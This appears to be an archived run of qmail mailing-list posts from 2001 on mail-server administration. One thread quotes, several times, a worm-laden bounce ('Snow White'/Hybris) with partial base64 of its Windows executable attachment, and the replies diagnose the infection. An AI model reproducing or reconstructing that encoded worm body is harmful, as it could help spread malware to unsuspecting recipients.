mailings and used a pool of sender servers and a distributed queue -
we're talking millions and millions of email per day here...  It's a
complex system and I haven't the code, but I have some experiences
that I can share.

I used IO::select to handle running multiple qmail-remotes at the same
time. qmail-remote has a really small footprint so you can run 1000s
of them concurrently on a modest sized server. It takes a fair amount
of code to manage multiplexed pipes in conjunction with handling
stdout and stderr (execution errors) responses and exit conditions.

(I see that there is an IO::Poll in which case I'd probably use that
in preference to IO::Select because of some of the select limit issues
on some OSes).

The next thing you have to worry about is managing your own queue and
retries for delivery failures. This can be much simpler and faster
than a full qmail-send type queue of course, such as a single flat
file for the whole delivery run with an occassional sync.

Bounces of course you'll handle with some sort of VERP address.


Having said all that, are you talking less than, say, 10,000 mails?
If so, one simple strategy is to inject each mail at the rate of say 1
per second. At that rate 1000 mails are injected in about 16 minutes,
ten thousand in a little less than 3 hours. That sort of injection
rate should not require bigtodo patches so if you don't mind your
delivery script running for 3 hours, then that might be the easiest
strategy.



Regards.



Re: how to test for a qmail virtualdomain?

2001-05-16 Thread Jason R. Mastaler

Tim [EMAIL PROTECTED] writes:

   I would say the most reliable way would be to just parse
 /var/qmail/virtualdomains and compare the LHS with $HOST (although
 this is a problem while somebody has updated virtualdomains but
 haven't sent -HUP to qmail-send yet).

In this case, how about comparing $HOST with control/locals?  Someone
suggested this in a private message since when qmail rewrites a
virtualdomain address into a local one, it changes $USER, but not
$HOST.  If $HOST is in locals, then it's not a virtualdomain address.
Any exceptions to this?

 Do you just need to test for these three packages or does it need to
 handle all types (for example, maildrop has its own virtual users
 mechanism)?

All types, I just wasn't aware of maildrop's virtual users mechanism.

 How reliable does it need to be?

Wholly.  If not, I'll just make the user set a configuration variable
to tell the application to expect a virtualdomain.

--
(TMDA - http://tmda.sourceforge.net/)
(A qmail-based SPAM reduction system)



Re: failure notice

2001-05-16 Thread Mark Delany

SMTP traffic is completely forgeable.

You need to check the logs on your dialin bank to find out who the
real identity is. Your modem bank does authenticate and log logins
doesn't it?


Regards.


On Wed, May 16, 2001 at 03:27:17PM -0400, Kirti S. Bajwa wrote:
 Hi:
 
 Somebody is using our company's mail server to send Spam mail. Following is
 a copy of the bounced message. I have received hundreds of these messages. I
 have looked into qmail-send logs and find bounced messages but the from
 address is garbage. 
 
 It seems that person who is sending SPAM is a regular dial-in customer. For
 example, the message below, this person logged in as a dial-in customer and
 was assigned an IP address of 63.113.255.43, which is a valid IP address for
 the dial-in modem bank.
 
 From this message or from qmail-send logs, I can't find out the user id of
 this person. Is there any way I can stop it or better to find out who this
 person is (sending SPAM)?
 
 Kirti
 
 
 
 
 
 
 -Original Message-
 From: [EMAIL PROTECTED]
 [mailto:[EMAIL PROTECTED]]
 Sent: Wednesday, May 16, 2001 3:17 PM
 To: [EMAIL PROTECTED]
 Subject: failure notice
 
 
 Hi. This is the qmail-send program at ns2.tibonline.net.
 I tried to deliver a bounce message to this address, but the bounce bounced!
 
 [EMAIL PROTECTED]/A:
 Sorry, I couldn't find any host named centerfind.com/A. (#5.1.2)
 
 --- Below this line is the original bounce.
 
 Return-Path: 
 Received: (qmail 21618 invoked from network); 16 May 2001 19:16:59 -
 Received: from unknown (HELO pavilion) (63.113.255.43)
   by 63.113.255.3 with SMTP; 16 May 2001 19:16:59 -
 From: Hahaha [EMAIL PROTECTED]
 Subject: Snowhite and the Seven Dwarfs - The REAL story!
 MIME-Version: 1.0
 Content-Type: multipart/mixed;
 boundary=--VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF
 
 VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF
 Content-Type: text/plain; charset=us-ascii
 
 Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and
 polite with Snowhite. When they go out work at mornign, they promissed a 
 *huge* surprise. Snowhite was anxious. Suddlently, the door open, and the
 Seven
 Dwarfs enter...
 
 
 VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF
 Content-Type: application/octet-stream; name=dwarf4you.exe
 Content-Transfer-Encoding: base64
 Content-Disposition: attachment; filename=dwarf4you.exe
 
 TVqQAAME//8AALgAQAAA
 gLRMzSEA
 AABQRQAATAECAOAADwELAQAAAFYAABAA
 AAAQAABQAgAABAAEAACAAgIAABAA
 ABAAEAAAEBhwAAAo
 
 AC50ZXh0AGAQAACoVAIA
 ACAAAOAucmRhdGEQcAAAWgBYAABAAADA
 AADr
 FqhUAABEQUlKSEpMTgARCUhZQlJJUwD8aExwQAD/FQBwQACjCiNAAIPEhIvMUOh8XqE1Cifa
 HPo3yJDnSLXJ7t3FOxTtOKRv+GfTc+pR9O6i/AuJNOIiPrxC4Cq53H5sNXfMXjVguFwJrFAYrHHj
 SiXLG3Lv+wdKT1hwcrOTfD7rduGAY5LvseJ7FEQYpBTblO28PiFdANOtfu+nOGbHGCUuPV1gfpLV
 ICaXTlFqH+jWCAAAagPHRCR8IIO47V0xLSsXQAAxLVEXQACLLQIQQABqQGgAMAAAVWoA/1QkSIXA
 D4TKBAAAUFVQ/1QkSAEsJF+FwI21ABBAAA+FsQQAAGhMTAAAaDMyLkRoV1MyX1T/VCQwhcBYWFgP
 hJIEAABQ/1QkKP2H6fOkxgfrgcc4AQAA/+f86L8HAADGhZwFAADrxoX0AQAAPImNmAUAAIHsBAEA
 AIv0gcTA/v//aAQBAABW/5QkkAIAAIXAD4QiBAAAjTwGuFxXU0+rNR8cYH2rNW0Pf36rK8CrVFb/
 lCSMAgAAi9hDD4T4AwAAK+1Q/5QknAIAADlsJBwPheQDAABqEotEJCQr0ln38YP6EA+ExQMAAGiA
 Vv+UJHwCAACFwHQcVWiAagNVVWgAAADAVv+UJHgCAACL2EB1butnaAQBAABqQP+UJLQC
 AACFwHRV6PAGAADGhfQBAADriYWYBQAAxoWcBQAAPDP/l+iUCAAAV1bzpIPvC411BqWlq19eagFW
 V/+UJMACAACFwA+FQv///8eEJLwCxoWcBQAA6+kWAwAAU4t0JCSBxgAAAQBVVlVqBFVT
 /5QkdAIAAIXAD4TWAgAAUFZVVWoCUP+UJHACAACFwA+EnAIAAFD/dCQsUP+UJJQCAACFwIsEJA+F
 fQIAAGAPtxgDQDxQaPgAAABQ/5QkuAIAAIXAWA+FXgIAADMY6CcGAACB8x0fAACLTQIPhUgCAABm
 90AWACExQAgPt1gGD4Q1AgAAa9sojZQY+It67Itq5Ita6AFK6AFK4MdC/EAAAMCLcDhOAXLg
 99YhcuCLcug5cuBzBYly4OvnUYtK4ANK5IlIUFkD+41UHQCNqtASAAADfCQcUlXoqgUAAIv1UfOk
 XSv9iZf3EgAAK/Vdh2goib7hAwAAia/jEgAAlYtEJFBqEgNNPEkDwffRVeh1BQAAA0UCI8Er0l1Z
 9/GZQED34UhIiUQkUP90JCSNtQQBAAAPt00Gi314i9+tUCvYrSvYcgZYg+7g4u+tUOguBAAAMX8E
 i38c6CMEAABeXofN6CIFAABbXlNqA7sgg7jtXY2GbgsAAIvQhwSvg+30K8KD6F2Jg8cLAACNhjYe
 AACL0IcEr0Urwi3eiYMQHwAAjYbvEQAARYvQRYcEryvCLYEAAACJg2wSAACNhucSAACLk+MS
 AAApg+MSAACF0nUGiZPjEgAAaAABAADocwcAAP7Egetw7P//iYN0llKJk29fhf91Covy
 ibN06x0DuQwBAAAruQQBAAADPCSLB4lDzGr/6DMHAACJA4fx4wgAB67ByAji+IfxW4lxWIm0
 JOgCAACLbCRMh/NVh83R6WatZgPQZoPSAOL1WAPCiUVY6CkEAACAvfQBAAA8dFCNtCRsAQAAagRW
 /7WYBQAA/5Qk2AIAAIXAdS5obWUAAGhSZW5hi8xoSU5JAGhOSVQuaFdJTklU/7WYBQAAVlH/lCTs
 AgAAg8QUxoWcBQAA62H/lCS8AgAA/5QkaAIAACvtVVX/dCQs/3QkDP+UJIQCAAD/NCT/lCSUAgAA
 

Re: failure notice

2001-05-16 Thread Chris Garrigues

 From:  Kirti S. Bajwa [EMAIL PROTECTED]
 Date:  Wed, 16 May 2001 15:27:17 -0400

 Hi:
 
 Somebody is using our company's mail server to send Spam mail. Following is
 a copy of the bounced message. I have received hundreds of these messages. 
 I
 have looked into qmail-send logs and find bounced messages but the from
 address is garbage. 
 
 It seems that person who is sending SPAM is a regular dial-in customer. For
 example, the message below, this person logged in as a dial-in customer and
 was assigned an IP address of 63.113.255.43, which is a valid IP address fo
 r
 the dial-in modem bank.
 
 From this message or from qmail-send logs, I can't find out the user id of
 this person. Is there any way I can stop it or better to find out who this
 person is (sending SPAM)?

I'm fairly sure that this is a recent virus, so you may not actually have a 
spammer on your hands, just some poor schlep who uses microsloth lookout.

What you'll have to do is to look at the logs for your modem bank and see who 
had that IP address at the time the message was sent.

Chris


 -Original Message-
 From: [EMAIL PROTECTED]
 [mailto:[EMAIL PROTECTED]]
 Sent: Wednesday, May 16, 2001 3:17 PM
 To: [EMAIL PROTECTED]
 Subject: failure notice
 
 
 Hi. This is the qmail-send program at ns2.tibonline.net.
 I tried to deliver a bounce message to this address, but the bounce bounced
 !
 
 [EMAIL PROTECTED]/A:
 Sorry, I couldn't find any host named centerfind.com/A. (#5.1.2)
 
 --- Below this line is the original bounce.
 
 Return-Path: 
 Received: (qmail 21618 invoked from network); 16 May 2001 19:16:59 -
 Received: from unknown (HELO pavilion) (63.113.255.43)
   by 63.113.255.3 with SMTP; 16 May 2001 19:16:59 -
 From: Hahaha [EMAIL PROTECTED]
 Subject: Snowhite and the Seven Dwarfs - The REAL story!
 MIME-Version: 1.0
 Content-Type: multipart/mixed;
 boundary=--VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF
 
 VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF
 Content-Type: text/plain; charset=us-ascii
 
 Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and
 polite with Snowhite. When they go out work at mornign, they promissed a 
 *huge* surprise. Snowhite was anxious. Suddlently, the door open, and the
 Seven
 Dwarfs enter...
 
 
 VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF
 Content-Type: application/octet-stream; name=dwarf4you.exe
 Content-Transfer-Encoding: base64
 Content-Disposition: attachment; filename=dwarf4you.exe
 
 TVqQAAME//8AALgAQAA
 A
 gLRMzSE
 A
 AABQRQAATAECAOAADwELAQAAAFYAABA
 A
 AAAQAABQAgAABAAEAACAAgIAABA
 A
 ABAAEAAAEBhwAAAoAAA
 A
 AAA
 A
 AC50ZXh0AGAQAACoVAI
 A
 ACAAAOAucmRhdGEQcAAAWgBYAABAAAD
 A
 AAD
 r
 FqhUAABEQUlKSEpMTgARCUhZQlJJUwD8aExwQAD/FQBwQACjCiNAAIPEhIvMUOh8XqE1Cif
 a
 HPo3yJDnSLXJ7t3FOxTtOKRv+GfTc+pR9O6i/AuJNOIiPrxC4Cq53H5sNXfMXjVguFwJrFAYrHH
 j
 SiXLG3Lv+wdKT1hwcrOTfD7rduGAY5LvseJ7FEQYpBTblO28PiFdANOtfu+nOGbHGCUuPV1gfpL
 V
 ICaXTlFqH+jWCAAAagPHRCR8IIO47V0xLSsXQAAxLVEXQACLLQIQQABqQGgAMAAAVWoA/1QkSIX
 A
 D4TKBAAAUFVQ/1QkSAEsJF+FwI21ABBAAA+FsQQAAGhMTAAAaDMyLkRoV1MyX1T/VCQwhcBYWFg
 P
 hJIEAABQ/1QkKP2H6fOkxgfrgcc4AQAA/+f86L8HAADGhZwFAADrxoX0AQAAPImNmAUAAIHsBAE
 A
 AIv0gcTA/v//aAQBAABW/5QkkAIAAIXAD4QiBAAAjTwGuFxXU0+rNR8cYH2rNW0Pf36rK8CrVFb
 /
 lCSMAgAAi9hDD4T4AwAAK+1Q/5QknAIAADlsJBwPheQDAABqEotEJCQr0ln38YP6EA+ExQMAAGi
 A
 Vv+UJHwCAACFwHQcVWiAagNVVWgAAADAVv+UJHgCAACL2EB1butnaAQBAABqQP+UJLQ
 C
 AACFwHRV6PAGAADGhfQBAADriYWYBQAAxoWcBQAAPDP/l+iUCAAAV1bzpIPvC411BqWlq19eagF
 W
 V/+UJMACAACFwA+FQv///8eEJLwCxoWcBQAA6+kWAwAAU4t0JCSBxgAAAQBVVlVqBFV
 T
 /5QkdAIAAIXAD4TWAgAAUFZVVWoCUP+UJHACAACFwA+EnAIAAFD/dCQsUP+UJJQCAACFwIsEJA+
 F
 fQIAAGAPtxgDQDxQaPgAAABQ/5QkuAIAAIXAWA+FXgIAADMY6CcGAACB8x0fAACLTQIPhUgCAAB
 m
 90AWACExQAgPt1gGD4Q1AgAAa9sojZQY+It67Itq5Ita6AFK6AFK4MdC/EAAAMCLcDhOAXL
 g
 99YhcuCLcug5cuBzBYly4OvnUYtK4ANK5IlIUFkD+41UHQCNqtASAAADfCQcUlXoqgUAAIv1UfO
 k
 XSv9iZf3EgAAK/Vdh2goib7hAwAAia/jEgAAlYtEJFBqEgNNPEkDwffRVeh1BQAAA0UCI8Er0l1
 Z
 9/GZQED34UhIiUQkUP90JCSNtQQBAAAPt00Gi314i9+tUCvYrSvYcgZYg+7g4u+tUOguBAAAMX8
 E
 i38c6CMEAABeXofN6CIFAABbXlNqA7sgg7jtXY2GbgsAAIvQhwSvg+30K8KD6F2Jg8cLAACNhjY
 e
 AACL0IcEr0Urwi3eiYMQHwAAjYbvEQAARYvQRYcEryvCLYEAAACJg2wSAACNhucSAACLk+M
 S
 AAApg+MSAACF0nUGiZPjEgAAaAABAADocwcAAP7Egetw7P//iYN0llKJk29fhf91Cov
 y
 ibN06x0DuQwBAAAruQQBAAADPCSLB4lDzGr/6DMHAACJA4fx4wgAB67ByAji+IfxW4lxWIm
 0
 JOgCAACLbCRMh/NVh83R6WatZgPQZoPSAOL1WAPCiUVY6CkEAACAvfQBAAA8dFCNtCRsAQAAagR
 W
 

Re: failure notice

2001-05-16 Thread Charles Cazabon

Kirti S. Bajwa [EMAIL PROTECTED] wrote:
 
 Somebody is using our company's mail server to send Spam mail. Following is
 a copy of the bounced message. I have received hundreds of these messages. I
 have looked into qmail-send logs and find bounced messages but the from
 address is garbage. 

I don't think this is really spam; it's the Snow White virus.

 It seems that person who is sending SPAM is a regular dial-in customer. For
 example, the message below, this person logged in as a dial-in customer and
 was assigned an IP address of 63.113.255.43, which is a valid IP address for
 the dial-in modem bank.
 
 From this message or from qmail-send logs, I can't find out the user id of
 this person. Is there any way I can stop it or better to find out who this
 person is (sending SPAM)?

Certainly.  From the qmail logs, you've found out the IP address that was used
to send the message.  From the same logs, find the time it was injected.  Then
use the logs from your dialup equipment to find out who had that IP at that
time, and throw your TOS at them.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
Any opinions expressed are just that -- my opinions.
---



Re: installation Problems

2001-05-16 Thread Patrick Starrenburg

You either don't have a compiler installed on your Linux/Unix machine or it 
is not on your path.

Are you using one of the standard documents / methods to setup qmail - 'Life 
with qmail [LWQ]' (beginners) or qmail-conf (more advanced)? You should, if 
you don't know what that error means you are going to find getting qmail 
going difficult unless you follow something like LWQ very carefully :-)

In LWQ it tells you how to check whether you have a compiler installed. You 
need one, if it not installed you need to read the docs for your 
distribution to see how to install it.

Cheers

Patrick

p.s. best not to use Rich Text Format (i.e. HTML) to post to the list. Plain 
text is best.
=
Hello all.
I tried to install the qmail but when i give the command MAKE i have the 
following msg :

bash:make:command not found

Anybody knows?

_
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.


Hello all.
I tried to install the qmail but when i give the command MAKE i have the following msg :

bash:make:command not found

Anybody knows?Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.




Re: Relaying advice

2001-05-16 Thread Henning Brauer

On Wed, May 16, 2001 at 09:51:19PM +0200, Roberto Marzialetti wrote:
  I need to provide users with the ability to send mail to anywhere. But
 since
  that can make my server an open relay, i was thinking of a solution where
 a
  user must receive mail before sending, thus proving that he can use the
  server for relaying.
 
 you need of vpopmail

Sorry, this is nonsense. You need either one of the SMTP-AFTER-POP solutions
from qmail.org (relay-ctl for example) or a SMTP AUTH patch - or both.
Clients need to support SMTP AUTH if this is the way you want to go.

-- 
* Henning Brauer, [EMAIL PROTECTED], http://www.bsws.de *
* Roedingsmarkt 14, 20459 Hamburg, Germany   *
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)



Re: failure notice

2001-05-16 Thread Bob Greene

Kirti S. Bajwa wrote:
 
 Hi:
 
 Somebody is using our company's mail server to send Spam mail. Following is
 a copy of the bounced message. I have received hundreds of these messages. I
 have looked into qmail-send logs and find bounced messages but the from
 address is garbage.
 
 It seems that person who is sending SPAM is a regular dial-in customer. For
 example, the message below, this person logged in as a dial-in customer and
 was assigned an IP address of 63.113.255.43, which is a valid IP address for
 the dial-in modem bank.
 
 From this message or from qmail-send logs, I can't find out the user id of
 this person. Is there any way I can stop it or better to find out who this
 person is (sending SPAM)?
 
 Kirti
 
 -Original Message-
 From: [EMAIL PROTECTED]
 [mailto:[EMAIL PROTECTED]]
 Sent: Wednesday, May 16, 2001 3:17 PM
 To: [EMAIL PROTECTED]
 Subject: failure notice
 
 Hi. This is the qmail-send program at ns2.tibonline.net.
 I tried to deliver a bounce message to this address, but the bounce bounced!
 
 [EMAIL PROTECTED]/A:
 Sorry, I couldn't find any host named centerfind.com/A. (#5.1.2)
 
 --- Below this line is the original bounce.
 
 Return-Path: 
 Received: (qmail 21618 invoked from network); 16 May 2001 19:16:59 -
 Received: from unknown (HELO pavilion) (63.113.255.43)
   by 63.113.255.3 with SMTP; 16 May 2001 19:16:59 -
 From: Hahaha [EMAIL PROTECTED]
 Subject: Snowhite and the Seven Dwarfs - The REAL story!
 MIME-Version: 1.0
 Content-Type: multipart/mixed;
 boundary=--VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF
 
 VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF
 Content-Type: text/plain; charset=us-ascii
 
 Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and
 polite with Snowhite. When they go out work at mornign, they promissed a
 *huge* surprise. Snowhite was anxious. Suddlently, the door open, and the
 Seven
 Dwarfs enter...
 ... snip 8 

Kirti:

Check your radius.log to find out who was using that port at that time
and have them buy a virus scanner.  He/She isn't sending SPAM, they're
just the victim of a worm.

-- 
Bob Greene
[EMAIL PROTECTED]
Pull my finger for my public key



Re: failure notice

2001-05-16 Thread Mark Delany

On Wed, May 16, 2001 at 09:14:57PM +, Mark Delany wrote:
 SMTP traffic is completely forgeable.

Er, sorry everyone. I didn't realise the original quote had a whole
lot of crud in it.

 On Wed, May 16, 2001 at 03:27:17PM -0400, Kirti S. Bajwa wrote:
  VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF
  Content-Type: application/octet-stream; name=dwarf4you.exe
  Content-Transfer-Encoding: base64
  Content-Disposition: attachment; filename=dwarf4you.exe
  
  TVqQAAME//8AALgAQAAA


Regards.



applying big-todo patch

2001-05-16 Thread Brett

I'm aware of this page on qmail.org:
http://www.qmail.org/big-todo.103.patch. What I don't see is a fast way of
applying these changes. I can can go through the files and take out and
replace the relevant lines but isn't there an automated script I can run
that will do this for me? Where is this script? I've searched the archives
and while there's plenty of talk about the big-todo patch, nobody ever
mentions exactly what they did to apply it. Thanks a bunch.





Re: failure notice

2001-05-16 Thread Jim Steele

This is not spam.  This is the W32/Hybris worm.  Your user is infected.

Check the logs for the email message immediately preceding this one.
That's probably your infected user, since Hybris attaches itself to
the wsock2.dll library and sends out an email message immediately
after a valid one is sent.

See the following for more information on Hybris:

  http://www.sophos.com/virusinfo/analyses/w32hybrisd.html
  http://www.zdnet.com/anchordesk/stories/story/0,10738,2716778,00.html
  http://www.symantec.com/avcenter/venc/data/w95.hybris.gen.html
  http://www.sophos.com/virusinfo/articles/navidad.html

Enjoy,
JS


On Wed, May 16, 2001 at 03:27:17PM -0400, Kirti S. Bajwa wrote:
 From: Kirti S. Bajwa [EMAIL PROTECTED]
 To: '[EMAIL PROTECTED]' [EMAIL PROTECTED]
 Subject: RE: failure notice
 Date: Wed, 16 May 2001 15:27:17 -0400
 X-Mailer: Internet Mail Service (5.5.2653.19)
 
 Hi:
 
 Somebody is using our company's mail server to send Spam mail. Following is
 a copy of the bounced message. I have received hundreds of these messages. I
 have looked into qmail-send logs and find bounced messages but the from
 address is garbage. 
 
 It seems that person who is sending SPAM is a regular dial-in customer. For
 example, the message below, this person logged in as a dial-in customer and
 was assigned an IP address of 63.113.255.43, which is a valid IP address for
 the dial-in modem bank.
 
 From this message or from qmail-send logs, I can't find out the user id of
 this person. Is there any way I can stop it or better to find out who this
 person is (sending SPAM)?
 
 Kirti



Re: rpcthost and morercpthost thresholds

2001-05-16 Thread Christopher Tolley


I wish it were that simple.  Here is the log entry with error:

May 16 13:18:10 spoolserver qmail: 990037090.207318 delivery 2882: failure:
Sorry._Although_I'm_listed_as_a_best-pref
erence_MX_or_A_for_that_host,/it_isn't_in_my_control/locals_file,_so_I_don't_treat_it_as_local._(#5.4.6)/

As this error was occuring (multiple times) I checked the morercpthosts.cdb
and morercpthosts files.  Both files contained the entry for the domain in
question.  Once I copied all the entries from morercpthosts to rcpthosts,
the errors stopped and mail was spooled properly.

Charles Cazabon writes:

 Christopher Tolley [EMAIL PROTECTED] wrote:
  
  Last night, I began noticing that Qmail was ignoring (some) entries in
  morercpthosts.cdb and was returning the message about being listed as best
  MX preference but the domain not being local.
 
 Re-read the error message.  It's telling you exactly what is wrong.  Hint:
 check the DNS records for the domain in question.
 
 Charles
 -- 
 ---
 Charles Cazabon[EMAIL PROTECTED]
 GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
 Any opinions expressed are just that -- my opinions.
 ---


-CT



Re: ezmlm fails test

2001-05-16 Thread RC

At 8:19 AM -0600 5/16/01, Charles Cazabon wrote:
RC [EMAIL PROTECTED] wrote:
  It's been awhile since I've been able to try this again, but the last
  time I tried the test as per the ezmlm install instructions, I ended
  up with this message in __TSTDIR__err:
  ezmlm-send: fatal: temporary qmail-queue error: unable to exec qq (#4.3.0)

Check the ownership and permissions of /var/qmail/bin/qmail-queue.  It should
be very close to:

 -rws--x--x   1 qmailq   qmail   14596 Jan 29 15:01 qmail-queue

Can you send mail normally (i.e., not through ezmlm)?  Does incoming mail
work?  What's in the logs?

it's actually /home/qmail/bin/qmail-queue, but the permissions look 
exactly like that.  [i did change the line in one of the config files 
that points to the qmail installation]
i am able to send and recieve mail normally.

logs are showing a bunch of bounced msgs, i think because it's having 
trouble delivering to root.  i played with some stuff earlier, and 
now it looks like just a bunch of error messages are getting 
delivered to alias, and not the regularly daily output i was getting 
before.


If you're on Solaris, and you're using ezmlm-idx (as opposed to vanilla
ezmlm), a patch is needed for some versions of ezmlm-idx.

running vanilla on openbsd 2.8


  as far as I know, qmail is working correctly [except that root mail
  is getting delivered to alias, and I can't stop it].

What's in the file ~alias/.qmail-root ?

it says 'root'

-- 

=--=
   -.c.-

My mistress when she walks treads on the ground.



qmail ignores my sorry ass...

2001-05-16 Thread Brett

... when I try to send more than 5600 emails in one go. I mean, it
completely ignores me. There's no mention of anything occuring in the logs
whatsoever. Since I'm giving you so little to go on here, I'm mostly hoping
for a general direction to start looking for a problem rather than a
complete solution. Or hopefully this has happened to somebody before and
they can tell me what they did to fix it. I've successfully recompiled the
kernel and applied the big concurrency patch but not the big-todo one yet. I
posted this before but didn't get much of a response except to check
qmail-inject's exit status. Assuming I know how to do this, what will this
prove? Thanks for any and all help.

Brett.

A big F you to all the unhelpful flamers in advance.




RE: Relaying advice

2001-05-16 Thread Rodrigo Borges Pereira

i guess i'll go for relay-ctrl, as also suggested by Charles Cazabon.
Anyway, i'll search for info on SMTP AUTH too, who knows if it might come
handy some day.

Thank u all for the advice, relay-ctrl here i go :)

 -Original Message-
 From: Henning Brauer [mailto:[EMAIL PROTECTED]]
 Sent: quarta-feira, 16 de Maio de 2001 22:36
 To: [EMAIL PROTECTED]
 Subject: Re: Relaying advice


 On Wed, May 16, 2001 at 09:51:19PM +0200, Roberto Marzialetti wrote:
   I need to provide users with the ability to send mail to anywhere. But
  since
   that can make my server an open relay, i was thinking of a
 solution where
  a
   user must receive mail before sending, thus proving that he
 can use the
   server for relaying.
 
  you need of vpopmail

 Sorry, this is nonsense. You need either one of the
 SMTP-AFTER-POP solutions
 from qmail.org (relay-ctl for example) or a SMTP AUTH patch - or both.
 Clients need to support SMTP AUTH if this is the way you want to go.

 --
 * Henning Brauer, [EMAIL PROTECTED], http://www.bsws.de *
 * Roedingsmarkt 14, 20459 Hamburg, Germany   *
 Unix is very simple, but it takes a genius to understand the simplicity.
 (Dennis Ritchie)






Re: applying big-todo patch

2001-05-16 Thread Claudio Nieder

Hi,

 mentions exactly what they did to apply it. Thanks a bunch.

  man patch

and if patch does not exist on your system:

   http://www.gnu.org/directory/patch.html

claudio
-- 
Claudio Nieder, Kanalweg 1, CH-8610 Uster, Tel +41 79 357 6743
yahoo messenger: claudionieder aim: claudionieder icq:42315212
mailto:[EMAIL PROTECTED]http://www.claudio.ch



Re: installation Problems

2001-05-16 Thread alexus



www.gnu.org
search for make

  - Original Message - 
  From: 
  Constantine 
  Koulis 
  To: [EMAIL PROTECTED] 
  Sent: Wednesday, May 16, 2001 3:28 
  PM
  Subject: installation Problems
  
  Hello all.
  I tried to install the qmail but when i give the command MAKE i have the 
  following msg :
  
  bash:make:command not found
  
  Anybody knows?
  
  Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
  


Unsubscribe Me

2001-05-16 Thread Thong Woon Thai






Re: rpcthost and morercpthost thresholds

2001-05-16 Thread Henning Brauer

On Wed, May 16, 2001 at 11:24:44PM +, Christopher Tolley wrote:
 Sorry._Although_I'm_listed_as_a_best-pref
 
erence_MX_or_A_for_that_host,/it_isn't_in_my_control/locals_file,_so_I_don't_treat_it_as_local._(#5.4.6)/
   ^^ 
 I checked the morercpthosts.cdb
^

-- 
* Henning Brauer, [EMAIL PROTECTED], http://www.bsws.de *
* Roedingsmarkt 14, 20459 Hamburg, Germany   *
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)



Re: qmail ignores my sorry ass...

2001-05-16 Thread Mark Delany

You need to tell us a little more. Well, actually a lot more.

How are you trying to send them? qmail-inject, smtp, qmail-queue?

If you are running a command such as qmail-inject, what sort of exit
code are you getting? Any error message?

Do you mean 5600 emails or an email to 5600 addresses? If the latter,
are you placing all the recipients on a command line, something like:

/var/qmail/bin/qmail-inject recipient1@dom1 recipient2@dom2 ...

?

If so, have you perhaps exceeded the maximum length of the command
line for your system? Are you perhaps exceeding the maximum number of
command line arguments for your system?

To check the exit status from the shell, go echo $? immediately
after the command. The number is zero if all is well and other numbers
indicate different types of errors.


Regards.


On Wed, May 16, 2001 at 04:37:41PM -0700, Brett wrote:
 ... when I try to send more than 5600 emails in one go. I mean, it
 completely ignores me. There's no mention of anything occuring in the logs
 whatsoever. Since I'm giving you so little to go on here, I'm mostly hoping
 for a general direction to start looking for a problem rather than a
 complete solution. Or hopefully this has happened to somebody before and
 they can tell me what they did to fix it. I've successfully recompiled the
 kernel and applied the big concurrency patch but not the big-todo one yet. I
 posted this before but didn't get much of a response except to check
 qmail-inject's exit status. Assuming I know how to do this, what will this
 prove? Thanks for any and all help.
 
 Brett.
 
 A big F you to all the unhelpful flamers in advance.
 



Re: applying big-todo patch

2001-05-16 Thread Chris Johnson

On Wed, May 16, 2001 at 04:18:51PM -0700, Brett wrote:
 I'm aware of this page on qmail.org:
 http://www.qmail.org/big-todo.103.patch. What I don't see is a fast way of
 applying these changes. I can can go through the files and take out and
 replace the relevant lines but isn't there an automated script I can run
 that will do this for me? Where is this script? I've searched the archives
 and while there's plenty of talk about the big-todo patch, nobody ever
 mentions exactly what they did to apply it. Thanks a bunch.

man patch

Chris

P.S. If you want to start a new thread, don't do it by responding to an
unrelated message and then changing the subject. This causes your message to be
attached to that unrelated thread in MUAs that thread properly, and makes it
more likely that your question will be missed.

 PGP signature


Re: rpcthost and morercpthost thresholds

2001-05-16 Thread Chris Johnson

On Wed, May 16, 2001 at 11:24:44PM +, Christopher Tolley wrote:
 
 I wish it were that simple.  Here is the log entry with error:
 
 May 16 13:18:10 spoolserver qmail: 990037090.207318 delivery 2882: failure:
 Sorry._Although_I'm_listed_as_a_best-pref
 
erence_MX_or_A_for_that_host,/it_isn't_in_my_control/locals_file,_so_I_don't_treat_it_as_local._(#5.4.6)/
 
 As this error was occuring (multiple times) I checked the morercpthosts.cdb
 and morercpthosts files.  Both files contained the entry for the domain in
 question.  Once I copied all the entries from morercpthosts to rcpthosts,
 the errors stopped and mail was spooled properly.

This was a coincidence. rcpthosts and morercpthosts have nothing to do with
this error. Those files are consulted *only* by qmail-smtpd, and only when it's
deciding to accept or reject a RCPT TO address during the SMTP conversation.
The above error message is generated by qmail-send, after qmail-smtpd has
already queued the message and died.

My guess is that you added an entry to locals or virtualdomains and didn't HUP
or restart qmail-send. At some time in the course of screwing with your
rcpthosts files you restarted qmail, so that your locals/virtualdomains changes
took effect and things started working again.

Chris

 PGP signature


RE: where are you from

2001-05-16 Thread Chris Bolt

Tonga. You can register a .to domain at http://www.tonic.to/, you don't have
to be a resident.

 Off Topic, but not so much.

 what does .to stand for, as in [EMAIL PROTECTED]?

 Saludos... :-)




Deferral for host lookup failure

2001-05-16 Thread Rodrigo Borges Pereira

Hi!

One question..

I sent a test message to a bogus e-mail. Here's the log of it.

May 17 02:14:59 picasso qmail: 990080099.492678 starting delivery 7: msg
40356 to remote [EMAIL PROTECTED]
May 17 02:14:59 picasso qmail: 990080099.492865 status: local 0/10 remote
1/20
May 17 02:15:19 picasso qmail: 990080119.533009 delivery 7: deferral:
CNAME_lookup_failed_temporarily._(#4.4.3)/

Qmail already tried to send this two times.
What i want to know is: when will it stop trying and when it stops? will i
